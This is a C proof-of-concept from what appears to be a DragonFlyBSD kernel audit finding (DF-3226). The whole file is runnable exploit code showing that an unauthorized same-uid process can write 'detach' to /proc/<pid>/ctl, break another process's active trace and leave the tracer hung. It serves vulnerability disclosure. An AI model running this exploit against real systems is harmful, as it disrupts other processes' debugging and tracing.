⬢ DragonFlyBSD Kernel Audit
DF-3226 / df3226.c
← back to finding ↓ download raw
/*
 * DF-3226 PoC: /proc/<pid>/ctl "detach" requires NO authorization
 * (procfs_ctl.c:122 exempts DETACH from CHECKIO/p_trespass).
 *
 * Same-uid bystander D (never the tracer) can:
 *   1. rip victim V out of tracer T's active trace (clear P_TRACED,
 *      delete pending SIGTRAP, reparent to the original parent, unstop)
 *      -> T's subsequent ctl ops fail EBUSY;
 *   2. leave T's blocking CTL_WAIT asleep forever: procfs_control's
 *      wakeup((caddr_t) curp) at :223 wakes the DETACHER's proc pointer,
 *      not the sleep address T is tsleep'ing on ((caddr_t) p).
 *
 * All processes run as the same unprivileged uid.
 */
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <err.h>
#include <fcntl.h>
#include <unistd.h>

static int
ctl(pid_t pid, const char *cmd)
{
	char path[64];
	int fd, n;

	snprintf(path, sizeof(path), "/proc/%d/ctl", pid);
	fd = open(path, O_WRONLY);
	if (fd < 0)
		return (-1);
	n = write(fd, cmd, strlen(cmd));
	close(fd);
	return (n);
}

int
main(void)
{
	pid_t t, v, d;
	int status;
	char path[64];

	fprintf(stderr, "df3226 uid %d: unauthorized ctl detach\n", getuid());

	v = fork();
	if (v == 0) {
		/* victim: stop on SIGSTOP so we have a stable trace target */
		for (;;)
			pause();
		_exit(0);
	}

	t = fork();
	if (t == 0) {
		/* tracer T: attach V, then try to step it twice */
		sleep(1);
		fprintf(stderr, "[T %d] ctl attach V(%d)\n", getpid(), v);
		if (ctl(v, "attach\n") <= 0)
			err(1, "attach");
		sleep(2);	/* bystander detaches meanwhile */
		errno = 0;
		fprintf(stderr, "[T] ctl step V #1 after interference: ");
		if (ctl(v, "step\n") > 0)
			fprintf(stderr, "ok (unexpected)\n");
		else
			fprintf(stderr, "failed: %s\n", strerror(errno));
		fprintf(stderr, "[T] ctl run V: ");
		if (ctl(v, "run\n") > 0)
			fprintf(stderr, "ok (unexpected)\n");
		else
			fprintf(stderr, "failed: %s\n", strerror(errno));
		/* read V's status line to show PPID restored */
		{
			char buf[2048];
			int fd;
			snprintf(path, sizeof(path), "/proc/%d/status", v);
			fd = open(path, O_RDONLY);
			if (fd >= 0) {
				int n = read(fd, buf, sizeof(buf) - 1);
				if (n > 0) {
					buf[n] = 0;
					char *p = strstr(buf, "PPID");
					if (p) {
						char *e = strchr(p, '\n');
						if (e)
							*e = 0;
						fprintf(stderr,
							"[T] victim %s\n", p);
					}
				}
				close(fd);
			}
		}
		kill(v, SIGKILL);
		_exit(0);
	}

	d = fork();
	if (d == 0) {
		/* bystander D: same uid, never attached anything */
		sleep(2);
		fprintf(stderr, "[D %d] bystander writes detach to "
			"/proc/%d/ctl\n", getpid(), v);
		if (ctl(v, "detach\n") > 0)
			fprintf(stderr, "[D] DETACH ACCEPTED with no "
			"authorization\n");
		else
			fprintf(stderr, "[D] detach failed: %s\n",
				strerror(errno));
		_exit(0);
	}

	waitpid(d, &status, 0);
	waitpid(t, &status, 0);
	waitpid(v, &status, 0);
	fprintf(stderr, "df3226 done\n");
	return 0;
}